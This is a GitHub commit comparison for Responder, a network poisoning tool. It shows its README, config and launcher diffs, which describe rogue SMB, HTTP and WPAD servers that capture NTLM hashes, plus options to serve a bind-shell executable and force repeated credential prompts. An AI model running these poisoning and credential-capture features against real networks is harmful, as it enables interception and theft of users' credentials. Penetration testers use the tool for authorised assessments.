Compare commits

...

95 Commits

Author SHA1 Message Date
lgandx
0713c0350f updated version number 2016-10-06 17:35:55 -03:00
lgandx
c6e401c229 Added: Now delete services on the fly. 2016-10-06 17:28:27 -03:00
lgandx
a814d0de81 Updated versions 2016-10-05 12:04:17 -03:00
lgandx
d81ef9c33a Added: Possibility to target all users. use 'ALL' with -u 2016-10-05 11:59:00 -03:00
lgandx
7054c60f38 Fixed minor bug 2016-10-04 23:09:26 -03:00
lgandx
196eded194 Minor fixes 2016-10-04 21:28:24 -03:00
lgandx
3d3a19f66b Using Trans pipes instead of read/writes & fixed low priv bug which drops you in a shell while the user has no rights 2016-10-04 21:19:08 -03:00
lgandx
48936d8953 updated version number 2016-10-02 23:47:10 -03:00
lgandx
cd09e19a93 Added logs folder. 2016-10-02 23:41:00 -03:00
lgandx
5d83778ac7 Removed logs folder. 2016-10-02 23:39:25 -03:00
lgandx
ab67070a2b Added: Cross-protocol NTLMv1-2 relay (beta). 2016-10-02 23:34:47 -03:00
lgandx
5f1fa4a00f Minor fix 2016-09-21 13:37:46 -03:00
lgandx
bfe57d28ac updated version 2016-09-12 00:03:06 -03:00
lgandx
2cdeef3c83 minor bug fix 2016-09-12 00:01:27 -03:00
lgandx
92c9191bda Config dumped independently. Responder-Session.log is now a clean file. 2016-09-11 23:03:50 -03:00
lgandx
35d933d596 Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. 2016-09-11 22:33:00 -03:00
lgandx
fb69f14f69 Reflected recent changes. 2016-09-11 21:59:50 -03:00
lgandx
3e2e375987 removed debug info 2016-09-11 21:55:37 -03:00
lgandx
ad9ce6e659 Added support for webdav, auto credz. 2016-09-11 21:51:57 -03:00
lgandx
04c270f6b7 Added option -e, specify an external IP address to redirect poisoned traffic to. 2016-09-11 20:25:10 -03:00
lgandx
29ad8a0816 Firefox blacklisted on WPAD since it doesn't honors fail-over proxies. Added SO_LINGER to send RST when close() is called. 2016-09-11 13:07:44 -03:00
lgandx
23151fee42 minor fix 2016-09-10 21:31:58 -03:00
lgandx
82fe64dfd9 Added proxy auth server + various fixes and improvements 2016-09-10 21:25:55 -03:00
lgandx
c3372d9bb6 bug: removed loop, while connection handled by basehttpserver 2016-09-10 12:17:47 -03:00
lgandx
881dae59cf Removed useless HTTP headers 2016-09-10 10:53:15 -03:00
lgandx
ecd62c322f Added current date for all HTTP headers, avoiding easy detection 2016-09-10 10:50:01 -03:00
lgandx
1d99ab648f Minor fix 2016-09-09 10:03:20 -03:00
lgandx
b34fee1d8c Minor fixes 2016-09-09 02:54:30 -03:00
lgandx
85d7974513 Added SMBv2 support enabled by default. 2016-09-09 02:50:39 -03:00
lgandx
2e1651f8fd minor fixes 2016-09-09 02:42:22 -03:00
lgandx
8b65b763ad minor fix 2016-09-09 02:31:58 -03:00
lgaffie
a9c2b297c6 added new option, for Config-Responder.log file. 2016-09-09 02:24:24 -03:00
lgaffie
a765a8f094 Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump 2016-09-09 02:23:49 -03:00
lgaffie
b5caa27445 minor fixes 2016-09-09 01:35:11 -03:00
lgaffie
d9258e2dd8 Fixed colors in log files 2016-09-09 01:25:10 -03:00
lgandx
0bdc183093 Merge pull request #103 from mattlowe/patch-1
Update Icmp-Redirect.py
2016-08-25 11:51:33 -03:00
Matt
25c8aeff8c Update Icmp-Redirect.py
Fix so that sys.path.append on like 23 works. :-)
2016-08-24 13:42:36 -07:00
lgandx
393e5dba54 Merge pull request #101 from hlein/master
Fixed the regexes for Authorization: headers.
2016-08-02 08:35:24 -03:00
Hank Leininger
a81a9a31e4 Fixed the regexes for Authorization: headers.
The \r was escaped inside a character class where it did not need to be.
Instead of the search stopping at the first \r as intended, it stopped
at the first literal r (which can occur in normal b64 content) or the
first literal \ (unlikely to occur in HTTP headers in general).

The \\ has been there since the very first commit of Responder in 2013.
2016-08-02 00:50:51 -04:00
lgandx
dc26493305 Merge pull request #100 from ValdikSS/updates
Updates
2016-07-31 20:32:21 -03:00
ValdikSS
994d02da23 Use standard sqlite3 timestamps with %Y-%m-%d %H:%M:%S format.
This makes possible to compare timestamps as strings.
2016-08-01 00:53:37 +03:00
ValdikSS
480aaa73d0 Update hash timestamp every time it's captured 2016-07-31 22:47:03 +03:00
ValdikSS
b96df7a5e8 Determine already captured hash by username and client IP address 2016-07-31 22:47:00 +03:00
lgandx
9b8af33fcd Merge pull request #95 from hlein/master
Minor compatibility fixes in the DHCP wrapper shell script
2016-07-30 19:25:29 -03:00
lgandx
e4f40d7a76 Merge pull request #99 from ValdikSS/utf16names
Proper non-Latin names support for SMB
2016-07-30 19:03:55 -03:00
lgandx
4a32ce7779 Merge pull request #97 from ValdikSS/multiplecreds
Gather multiple credentials
2016-07-30 18:57:26 -03:00
lgandx
fd98ef770d Merge pull request #96 from ValdikSS/win10support
Fix Windows 10 support
2016-07-30 18:54:49 -03:00
lgandx
bb43557993 Merge pull request #98 from jaredhaight/fix-osx-check
change IsOSX to utils.IsOsX. Fixes #89
2016-07-30 18:53:02 -03:00
ValdikSS
9a72afc6b5 Proper non-Latin names support for SMB 2016-07-28 14:56:53 +03:00
Jared Haight
08c3a90b40 change IsOSX to utils.IsOsX. Fixes #89 2016-07-25 15:38:23 -04:00
ValdikSS
eee552b895 Send ACCOUNT_DISABLED on the first SMB authentication to gather multiple credentials if there are any. 2016-07-22 22:45:50 +03:00
ValdikSS
a84b3513e1 Fix Windows 10 support.
For some reason some of Windows 10 installations close connection if
NetBIOS computer name, domain name and workstation name are not equal.
2016-07-22 18:29:48 +03:00
Hank Leininger
e19e34997e Add compatability with newer net-tools ifconfig.
The output has changed slightly; this patch should work with older and
newer versions of ifconfig.
2016-07-12 23:37:37 -04:00
Hank Leininger
133b933dc2 Gracefully handle ifconfig and route being in /bin/. 2016-07-12 23:26:58 -04:00
lgandx
59337ab87d Merge pull request #92 from jvoisin/master
Refactor a bit the whole codebase to be more pythonic
2016-07-07 21:28:33 -05:00
jvoisin
86fb1ab328 Minor refactoring of the main script 2016-07-05 01:31:43 +02:00
jvoisin
2e9dd48b86 Factorise a bit some tools 2016-07-05 01:31:43 +02:00
jvoisin
2fb6a1c228 Refactors utils.py and tools/* 2016-07-05 01:31:36 +02:00
jvoisin
8e9205b102 Refactor a bit the servers 2016-07-05 01:31:35 +02:00
jvoisin
f2a2ffbe87 Refactor a bit the poisoners 2016-07-05 01:31:33 +02:00
lgandx
04c841d34e Fixed color bug in Analyze mode 2016-06-08 14:34:29 -05:00
lgandx
6f8652c0fc fixed minor bug 2016-06-08 14:32:37 -05:00
lgandx
df63c1fc13 Fixed Icmp-Redirect.. 2016-06-05 20:25:58 -05:00
lgandx
165a362fde Set AutoIgnoreAfterSuccess = Off by default, up to the pentester to disable it. 2016-06-05 20:01:37 -05:00
lgandx
8171a96b9e Fixed some tools and +x on some executables 2016-06-05 19:55:32 -05:00
lgandx
f5a8bf0650 Changed email address 2016-06-05 19:32:39 -05:00
lgandx
6e951c838a Merge pull request #68 from the-useless-one/cleartext_db_encoding
Cleartext db encoding
2016-06-05 18:06:47 -05:00
lgandx
a66322a307 Merging byt3bl33d3r fixes 2016-06-05 17:56:54 -05:00
lgandx
448db124cb Merge pull request #84 from jrmdev/master
Implemented auto-ignore list
2016-05-15 18:20:12 -05:00
lgandx
e9bb86f42e Merge pull request #83 from ravenium/patch-1
Update README.md
2016-05-15 18:17:45 -05:00
lgandx
98cf6dc4b2 Merge pull request #76 from vysec/master
Update utils.py
2016-05-15 18:16:40 -05:00
lgandx
83ee962ab6 Merge pull request #74 from mubix/patch-2
Set to use TLSv1 instead of SSLv3
2016-05-15 18:14:39 -05:00
Vincent Yiu
0b4f961b79 Update utils.py
Use elif
2016-05-13 13:26:48 +01:00
jrmdev
8e24d506ff Implemented auto-ignore list 2016-04-29 13:38:49 +10:00
ravenium
55658c3900 Update README.md
Typos
2016-04-21 14:48:43 -07:00
Vincent Yiu
063b31e6ca Update utils.py
It wasn't redirecting to the specified location.
2016-03-13 18:30:40 +00:00
Rob Fuller
7be76336d6 Set to use TLSv1 instead of SSLv3 2016-03-11 22:29:33 -05:00
lgandx
4906e7dbb7 Merge pull request #72 from hubert3/master
Add HTTP Referer logging
2016-03-10 09:27:45 -05:00
lgandx
fb42aa35a9 Merge pull request #67 from the-useless-one/cleartex_log
Cleartex log
2016-03-10 09:25:54 -05:00
Hubert Seiwert
16e6464748 Add HTTP Referer logging 2016-02-23 15:35:38 +11:00
Yannick Méheut
f0257bc919 Comments to explain use of cursor.text_factory 2016-01-10 20:57:38 +01:00
Yannick Méheut
0fec40c3b4 Changed connection to SQlite db to support different encoded charsets 2016-01-10 20:55:15 +01:00
Yannick Méheut
08535e5539 Changed comment to be more clear about what is being done when logging 2016-01-10 20:52:36 +01:00
Yannick Méheut
ac1789dd6c Modified logging of cleartext credentials 2016-01-10 20:47:08 +01:00
lgandx
392257be36 Merge pull request #61 from elitest/win-ver
Added recent Windows versions.
2015-11-23 22:41:17 -05:00
Jim Shaver
6eca29d08c Added recent Windows versions. 2015-11-16 22:46:24 -06:00
lgandx
fdea6328d3 Merge pull request #57 from mandreko/cleanup
Basic code cleanup
2015-10-30 20:44:08 -04:00
Matt Andreko
008b492c98 First round of cleanup 2015-10-27 16:50:05 -04:00
lgandx
59e48e80dd Added: Support for OSx 2015-10-08 19:50:08 -04:00
lgandx
8d7563ba35 Merge branch 'master' of https://github.com/SpiderLabs/Responder
Minor fixes
2015-10-08 19:41:19 -04:00
lgandx
d0f5b9a39e minor changes 2015-10-08 19:40:51 -04:00
lgandx
a4364ba8cb Merge pull request #54 from IMcPwn/patch-1
Fix misspelling of poisoners
2015-09-23 22:40:45 -04:00
lgandx
892f3a6ca7 Merge pull request #55 from antonioherraizs/wpad_proxy_bugs
Fix generation of HTTP response in HTTP proxy
2015-09-23 22:39:52 -04:00
Antonio Herraiz
b2830e0a4f Fix generation of HTTP response in HTTP proxy 2015-09-19 12:43:36 +07:00
IMcPwn
6edc01d851 Fix misspelling of poisoners 2015-09-18 23:43:49 -04:00
40 changed files with 3583 additions and 1320 deletions

62
.gitignore vendored
View File

@@ -1,65 +1,5 @@
/plugins/old_plugins/
backdoored/
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
# C extensions
*.so
# Distribution / packaging
.Python
env/
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*,cover
# Translations
*.mo
*.pot
# Django stuff:
*.log
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Responder logs
*.db
*.txt
*.log
logs/*

89
README.md Executable file → Normal file
View File

@@ -2,10 +2,10 @@
LLMNR/NBT-NS/mDNS Poisoner
(Original work by Laurent Gaffie <lgaffie@trustwave.com> http://www.spiderlabs.com)
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
## Intro ##
Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
@@ -14,23 +14,23 @@ The concept behind this is to target our answers, and be stealthier on the netwo
## Features ##
- Built-in SMB Auth server.
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. This functionality is enabled by default when the tool is launched.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server.
- Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
- Built-in HTTP Auth server.
- Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
- Built-in HTTPS Auth server.
- Built-in HTTPS Auth server.
Same as above. The folder certs/ containa 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
- Built-in LDAP Auth server.
@@ -40,48 +40,48 @@ In order to redirect LDAP Authentication to this tool, you will need to set the
This modules will collect clear text credentials.
- Built-in DNS server.
- Built-in DNS server.
This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
- Built-in WPAD Proxy Server.
- Built-in WPAD Proxy Server.
This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is higly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
- Browser Listener
- Browser Listener
This module allows to find the PDC in stealth mode.
- Fingerprinting
- Fingerprinting
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
- Icmp Redirect
- Icmp Redirect
python tools/Icmp-Redirect.py
For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective.
- Rogue DHCP
- Rogue DHCP
python tools/DHCP.py
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
- Analyze mode.
- Analyze mode.
This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
## Hashes ##
All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format:
(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will logs all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Responder will logs all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Poisoning will be logged to Poisoners-Session.log
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
@@ -101,6 +101,16 @@ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dn
- This tool is not meant to work on Windows.
- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
## Usage ##
First of all, please take a look at Responder.conf and tweak it for your needs.
@@ -111,47 +121,56 @@ Running the tool:
Typical Usage Example:
./Responder.py -I eth0 -wrf
./Responder.py -I eth0 -rPv
Options:
--version show program's version number and exit
-h, --help show this help message and exit
--version show program's version number and exit.
-h, --help show this help message and exit.
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use
Network interface to use.
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
network. Default: Off
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False
on the network. Default: Off
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
Off
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
Off
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to
be ON. This option is highly effective when combined
with -r. Default: Off
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
earlier. Default: Off
-v, --verbose Increase verbosity.
## Copyright ##
NBT-NS/LLMNR Responder
Created by Laurent Gaffie
Copyright (C) 2013 Trustwave Holdings, Inc.
Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
email: laurent.gaffie@gmail.com
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
@@ -161,6 +180,6 @@ This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
along with this program. If not, see <http://www.gnu.org/licenses/>.

View File

@@ -23,12 +23,15 @@ Database = Responder.db
; Default log file
SessionLog = Responder-Session.log
; Poisoiners log
; Poisoners log
PoisonersLog = Poisoners-Session.log
; Analyze mode log
AnalyzeLog = Analyzer-Session.log
; Dump Responder Config log:
ResponderConfigDump = Config-Responder.log
; Specific IP Addresses to respond to (default = All)
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
RespondTo =
@@ -39,12 +42,25 @@ RespondToName =
; Specific IP Addresses not to respond to (default = None)
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondTo =
DontRespondTo =
; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondTo = NAC, IPS, IDS
DontRespondToName =
DontRespondToName = ISATAP
; If set to On, we will stop answering further requests from a host
; if a hash has been previously captured for this host.
AutoIgnoreAfterSuccess = Off
; If set to On, we will send ACCOUNT_DISABLED when the client tries
; to authenticate for the first time to try to get different credentials.
; This may break file serving and is useful only for hash capture
CaptureMultipleCredentials = On
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On
[HTTP Server]
@@ -52,7 +68,7 @@ DontRespondToName =
Serve-Always = Off
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On
Serve-Exe = Off
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
@@ -68,7 +84,7 @@ ExeFilename = files/BindShell.exe
ExeDownloadName = ProxyClient.exe
; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable.

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,21 +14,22 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import optparse
import socket
import thread
import time
import settings
import ssl
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
from SocketServer import TCPServer, UDPServer, ThreadingMixIn
from threading import Thread
from utils import *
import struct
banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default=None)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
@@ -36,6 +37,9 @@ parser.add_option('-f','--fingerprint', action="store_true", help="This optio
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
options, args = parser.parse_args()
@@ -43,6 +47,10 @@ options, args = parser.parse_args()
if not os.geteuid() == 0:
print color("[!] Responder must be run as root.")
sys.exit(-1)
elif options.OURIP is None and IsOsX() is True:
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
parser.print_help()
exit(-1)
settings.init()
settings.Config.populate(options)
@@ -72,6 +80,16 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
pass
TCPServer.server_bind(self)
class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self)
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.251"
@@ -108,6 +126,7 @@ ThreadingUDPServer.allow_reuse_address = 1
ThreadingTCPServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingTCPServerAuth.allow_reuse_address = 1
def serve_thread_udp_broadcast(host, port, handler):
try:
@@ -155,89 +174,114 @@ def serve_thread_tcp(host, port, handler):
except:
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
def serve_thread_SSL(host, port, handler):
def serve_thread_tcp_auth(host, port, handler):
try:
from servers.HTTP import SSLSock
if OsInterfaceIsSupported():
server = SSLSock((settings.Config.Bind_To, port), handler)
server = ThreadingTCPServerAuth((settings.Config.Bind_To, port), handler)
server.serve_forever()
else:
server = SSLSock((host, port), handler)
server = ThreadingTCPServerAuth((host, port), handler)
server.serve_forever()
except:
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
def serve_thread_SSL(host, port, handler):
try:
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if OsInterfaceIsSupported():
server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever()
except:
print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
def main():
try:
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
from poisoners.LLMNR import LLMNR
from poisoners.NBTNS import NBTNS
from poisoners.MDNS import MDNS
thread.start_new(serve_LLMNR_poisoner, ('', 5355, LLMNR))
thread.start_new(serve_MDNS_poisoner, ('', 5353, MDNS))
thread.start_new(serve_NBTNS_poisoner, ('', 137, NBTNS))
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
# Load Browser Listener
from servers.Browser import Browser
thread.start_new(serve_thread_udp_broadcast,('', 138, Browser))
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP
thread.start_new(serve_thread_tcp,('', 80, HTTP))
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
if settings.Config.SSL_On_Off:
from servers.HTTP import HTTPS
thread.start_new(serve_thread_SSL,('', 443, HTTPS))
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
thread.start_new(serve_thread_tcp,('', 3141, HTTP_Proxy))
threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
if settings.Config.ProxyAuth_On_Off:
from servers.Proxy_Auth import Proxy_Auth
threads.append(Thread(target=serve_thread_tcp_auth, args=('', 3128, Proxy_Auth,)))
if settings.Config.SMB_On_Off:
if settings.Config.LM_On_Off == True:
if settings.Config.LM_On_Off:
from servers.SMB import SMB1LM
thread.start_new(serve_thread_tcp,('', 445, SMB1LM))
thread.start_new(serve_thread_tcp,('', 139, SMB1LM))
threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,)))
else:
from servers.SMB import SMB1
thread.start_new(serve_thread_tcp,('', 445, SMB1))
thread.start_new(serve_thread_tcp,('', 139, SMB1))
threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,)))
if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP
thread.start_new(serve_thread_udp,('', 88, KerbUDP))
thread.start_new(serve_thread_tcp,('', 88, KerbTCP))
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
if settings.Config.SQL_On_Off:
from servers.MSSQL import MSSQL
thread.start_new(serve_thread_tcp,('', 1433, MSSQL))
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
if settings.Config.FTP_On_Off:
from servers.FTP import FTP
thread.start_new(serve_thread_tcp,('', 21, FTP))
threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,)))
